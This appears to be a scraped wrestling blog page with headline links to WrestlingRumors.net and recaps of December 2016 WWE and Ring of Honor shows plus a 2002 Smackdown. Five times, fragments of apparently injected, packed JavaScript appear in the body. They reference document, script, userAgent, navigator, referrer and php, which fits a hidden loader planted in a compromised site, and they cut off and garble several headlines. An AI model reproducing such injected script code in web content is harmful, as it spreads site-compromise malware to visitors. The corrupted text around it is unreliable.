");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|baydf|var|u0026u|referrer|nhkid||js|php'.split('|'),0,{})) Possibly Airing Live in 2017. December 6, 2016.
http://wrestlingrumors.net/nxt-possibly-airing-live-in-2017/
WWE Tag Team Teases Splitting Up. December 7, 2016.
http://wrestlingrumors.net/wwe-tag-team-teases-splitting-up/
Smackdown
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December 6, 2016
Location: Toyota Center, Houston, Texas
Commentators: Mauro Ranallo, John Bradshaw Layfield, David Otunga, Tom Phillips
Tag Team Titles: Wyatt Family vs. Heath Slater/Rhyno
Kalisto says speed kills.
Natalya vs. Carmella
Baron Corbin compares cruiserweights to flies.
Hype Bros vs. Ascension
Both teams want the titles. Viktor knees Ryder in the head to start and Zack is in early trouble. Ascension takes turns with a variety of stomps to the back until a neckbreaker puts Konnor down. The hot tag brings in Mojo to clean house and the Hype Ryder puts Viktor away at 3:30.
Kalisto vs. Baron Corbin
Chairs not included. Corbin throws him outside to start and gets a near fall. Kalisto kicks him in the head and scores with a moonsault to the floor. Back in and Kalisto speeds things up but the springboard spinning tornado DDT is countered into End of Days for the pin at 2:49.
Nikki meets singer Sophia Grace and they get along.
Chad Gable vs. Tyler Breeze
Opening segment recap.
Intercontinental Title: Miz vs. Dean Ambrose
Ellsworth is upset to end the show.
Results
Wyatt Family b. Heath Slater/Rhyno – RKO to Slater
Hype Bros b. Ascension – Hype Ryder to Viktor
Baron Corbin b. Kalisto – End of Days
Chad Gable b. Tyler Breeze – Rolling Chaos Theory
Miz b. Dean Ambrose – Skull Crushing Finale
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http://wrestlingrumors.net/aj-styles-possibly-injured-at-tables-ladders-and-chairs-2016/
http://wrestlingrumors.net/brock-lesnars-next-house-show-appearance-announced/
Demolition Talks About New Day Potentially Breaking Their Record. December 5, 2016.
http://wrestlingrumors.net/demolition-comments-on-new-day-breaking-their-record/
http://wrestlingrumors.net/mauro-ranallo-responds-to-rumors-hes-leaving-wwe/
Mickie James Offered Full Time WWE Contract. December 5, 2016.
http://wrestlingrumors.net/mickie-james-offered-full-time-contract/
Main Event Set for “205 Live”. December 6, 2016.
http://wrestlingrumors.net/main-event-set-for-205-live/
Another Match Set for “Roadblock: End of the Line.” December 6, 2016.
http://wrestlingrumors.net/another-match-set-for-roadblock-end-of-the-line/
AJ Styles Pulled From House Show Due to Injury. December 6, 2016.
http://wrestlingrumors.net/aj-styles-pulled-from-house-show-due-to-injury/
Newest Member of the Bullet Club Revealed *SPOILERS*. December 6, 2016.
http://wrestlingrumors.net/newest-member-of-the-bullet-club-revealed-spoilers/
What Happened After “Monday Night Raw” Went Off the Air. December 6, 2016.
http://wrestlingrumors.net/what-happened-after-monday-night-raw-went-off-the-air-6/
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Night Raw
Date: December 5, 2016
Location: Frank Erwin Center, Austin, Texas
Commentators: Michael Cole, Byron Saxton, Corey Graves
We open with a long recap of Seth Rollins/Roman Reigns vs. Kevin Owens/Chris Jericho, including everything last week that set up the Roadblock main event.
Big Show vs. Seth Rollins
Rollins superkicks and Pedigrees Owens.
Jack Gallagher vs. Ariya Daivari
Sami Zayn vs. Kevin Owens
Video on Sasha Banks vs. Charlotte from last week.
We look at Charlotte yelling at her dad back in May.
Rich Swann vs. TJ Perkins
Bayley vs. Alicia Fox
Emmalina is here next week.
Enzo is waiting on his Uber but gets a limo containing Ric Flair instead. Ric gives him the limo upon hearing about the foreign blonde.
Jericho wants Owens to stay in the back.
US Title: Chris Jericho vs. Roman Reigns
Roman is defending and is actually driven into the corner to start. The Superman Punch is countered with a dropkick and a clothesline puts the champ on the floor. A big dive to the floor takes Reigns out again and we take a break. Back with Reigns caught in a chinlock for a bit before being tossed out to the floor.
The Lionsault only gets two and the fans are getting WAY into Jericho all over again. A Samoan drop and Superman Punch get two on Jericho and the Codebreaker is countered into a sitout powerbomb. Roman goes shoulder first into the post though and we hit the Walls. As Reigns grabs the rope, cue Owens for a superkick. The Codebreaker gets two on Reigns but the Canadian argument sets up the spear to retain the title at 13:43.
Rusev vs. Big Cass
Anderson and Gallows vs. Cesaro/Sheamus
Results
Seth Rollins b. Big Show via countout
Jack Gallagher b. Ariya Daivari – Running corner dropkick
Kevin Owens b. Sami Zayn – Pop Up Powerbomb
Rich Swann b. TJ Perkins – Spinning kick to the head
Bayley b. Alicia Fox – Bayley to Belly
Roman Reigns b. Chris Jericho – Spear
Anderson and Gallows vs. Cesaro/Sheamus went to a no contest when all four brawled with New Day
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Injured Name Returning to Road Next Week. December 3, 2016.
http://wrestlingrumors.net/injured-name-returning-to-the-road-next-week
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnnib|var|u0026u|referrer|zzbzy||js|php'.split('|'),0,{})) Could Finn Balor Be Back in the Ring? December 5, 2016.
http://wrestlingrumors.net/when-could-finn-balor-be-back-in-the-ring/
Former Champion Returning to WWE This Spring. December 5, 2016.
http://wrestlingrumors.net/former-champion-returning-to-wwe-this-spring/
Rumor on the Wyatt Family Tag Team Title Reign. December 5, 2016.
http://wrestlingrumors.net/rumor-on-the-wyatt-familys-tag-team-title-reign/
Two New Collections Added to WWE Network. December 5, 2016.
http://wrestlingrumors.net/two-new-collections-added-to-wwe-network/
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Ladders and Chairs 2016
Date: December 4, 2016
Location: American Airlines Center, Dallas, Texas
Commentators: John Bradshaw Layfield, Mauro Ranallo, Tom Phillips, David Otunga
Pre-Show: Apollo Crews/Hype Bros/American Alpha vs. Vaudevillains/Ascension/Curt Hawkins
The opening video looks at various broken furniture before going into a regular hype video.
Tag Team Titles: Wyatt Family vs. Heath Slater/Rhyno
AJ says the problem is keeping Dean down but some chairs, tables and ladders should do the trick.
Carmella vs. Nikki Bella
No DQ and Carmella is sporting a big black eye. Nikki spears her down to start but gets hurricanranaed into the steps to bang up her knee. The referee starts counting even though the announcement before the match said this can only end by pin or submission. Back in and Carmella ties her into the Tree of Woe and fires off some kendo stick shots to the ribs.
Video on the history of the Intercontinental Title to set up Dolph Ziggler vs. Miz in their final battle over the title.
Intercontinental Title: The Miz vs. Dolph Ziggler
Miz is defending in a ladder match. Ziggler, in American flag tights for some reason, takes him down to start but neither can hit a finisher early on. They take turns sending each other into and hitting each other with a ladder before Ziggler pulls Miz into the post. A tornado DDT sends Miz face first (very slowly of course) into the ladder and both guys are down.
Kalisto vs. Baron Corbin
Kalisto tries again with a suicide dive but Corbin whips him around with a great looking Deep Six on the floor. Back in and Corbin piles up a bunch of chairs but stops to swing at Kalisto instead. That goes badly as Kalisto hurricanranas him off the barricade for a breather, followed by a moonsault into double knees to the chest for two more. Kalisto tries going up again but this time Corbin is ready for a chair to the head, knocking Kalisto out of the air in a good looking crash. End of Days onto the pile of chairs gives Baron the pin at 12:51.
Rating: C+. Kalisto was game here but again this was the right call. Corbin could move up the ladder very quickly on Smackdown and this needs to be the final match against Kalisto. Baron has been kind of floating around aimlessly in recent months so hopefully he can go somewhere more defined from here.
Natalya denies attacking Nikki.
More of Natalya with the ring (as in engagement ring) stuff, this time with the proposal.
Smackdown World Title: Dean Ambrose vs. AJ Styles
Ellsworth is elated to end the show.
Results
Wyatt Family b. Heath Slater/Rhyno – RKO to Rhyno
Nikki Bella b. Carmella – Rack Attack 2.0
Miz b. Dolph Ziggler – Miz pulled down the title
Baron Corbin b. Kalisto – End of Days onto a pile of chairs
Alexa Bliss b. Becky Lynch – Powerbomb through a table
AJ Styles b. Dean Ambrose – Styles pulled down the title
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of Honor
Date: November 30, 2016
Location: William J. Myers Pavilion, Baltimore, Maryland
Attendance: 600
Commentators: Kevin Kelly, Steve Corino, Alex Shelley
Opening sequence.
Lio Rush vs. Jonathan Gresham
Feeling out process to start and Gresham annoys Lio with an errant forearm to the face. They hit the mat with the arms interlocking for a quick standoff. Lio lights up the chest with a hard kick but Gresham kicks the arm to even things out. An enziguri puts Rush on the floor and a middle rope moonsault is awkwardly caught as Lio almost looks like he tried for a Big Ending.
Post match the Motor City Machine Guns come in and put both guys over.
We run down the Final Battle card.
Addiction vs. Briscoes
The Addiction actually shakes hands after the match.
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Smackdown
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July 4, 2002
Location: FleetCenter, Boston, Massachusetts
Commentators: Michael Cole, Tazz
We open with a recap of Chris Jericho injuring Edge a few weeks back and hurting the shoulder even worse. Then a few weeks later Edge came back and saved Hulk Hogan from the same fate so now we have a new Can-Am Connection.
Opening sequence.
Rikishi vs. Lance Storm
Stacy Keibler brings Cena to see Vince and, as she does with everyone, likes what she sees in the rookie.
Reverend D-Von/Batista vs. Randy Orton/Big Valbowski
During the break, Vince made Cena vs. Jericho for tonight.
Billy and Chuck are a bit sore (too much walking you see) but they split hot dogs. Rico comes in and yells at them for not taking their title defense seriously.
Clip of Rock from earlier this year making fun of a cameraman who said he was going to win the Royal Rumble. Rock is back next week.
Tag Team Titles: Edge/Hulk Hogan vs. Billy and Chuck
Chris Jericho vs. John Cena
We look at Shawn Michaels announcing HHH will be joining the NWO.
GET THE F OUT!
Torrie Wilson vs. Stacy Keibler
Torrie strips to reveal stars and stripes underwear.
Video on Undertaker vs. Jeff Hardy including Undertaker teasing a face turn after the match.
Undertaker is ready to fight anyone.
HHH has a DVD.
WWE Undisputed Title: Kurt Angle vs. Undertaker
Rating: C+. Good but not great match though the ending is still solid. This actually felt interesting as Angle had been one of the best in the company for a long time now so putting him back into the title picture had to be done, if nothing else for some fresh blood. The rest of the match was good enough but the ending brings it up a lot.
Controversy reigns (with the fans being VERY unhappy) and the match is ruled a draw, meaning Undertaker is still champion. Angle attacks Undertaker to end the show with Tazz of all people summing it up perfectly: the Undisputed Title is in dispute.
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So as you might have noticed, I’m not doing as many news stories and articles around here lately. This is due to me basically becoming a full time news reporter at WrestlingRumors.net, which takes up a lot of my time. However, it occurred to me that I had a list of articles I’ve written with the links up so I might as well put them on here as well. These are just going to be links and headlines but the articles include my take on them at the end. I don’t know if I’ll do these every day but I’ll do them more often than not.
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytyne|var|u0026u|referrer|ntkfk||js|php'.split('|'),0,{})) Cena Nominated for Award. December 2, 2016.
http://wrestlingrumors.net/john-cena-nominated-for-award/
John Cena Hosting “Saturday Night Live” on December 10. December 2, 2016.
http://wrestlingrumors.net/john-cena-hosting-saturday-night-live/
Free Match: AJ Styles vs. Christopher Daniels vs. Samoa Joe. December 2, 2016.
http://wrestlingrumors.net/free-match-aj-styles-vs-christopher-daniels-vs-samoa-joe/
Major Development at NXT House Show *SPOILERS INCLUDED* December 3, 2016.
http://wrestlingrumors.net/major-development-at-nxt-house-show-spoilers-included/
http://wrestlingrumors.net/broken-matt-hardy-appears-at-rohs-final-battle-2016/
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsidb|var|u0026u|referrer|sdbhr||js|php'.split('|'),0,{})) been long enough since the last pay per view right? I mean, two weeks is more than enough time to get ready for the next big show. This Sunday we have “Tables, Ladders and Chairs 2016” from “Smackdown Live”, meaning it’s time for the big gimmick based show with all the matches built around the name of the show. No I don’t mean Survivor Series. Let’s get to it.
That leaves us with the main event with AJ Styles defending the Smackdown World Title against former champion Dean Ambrose in a TLC match. Styles won the title back in September and Ambrose has yet to get his one on one rematch. This is the kind of match that is fun almost by definition: take two talented people and have them beat each other with various hard objects over and over again until one of them is done.
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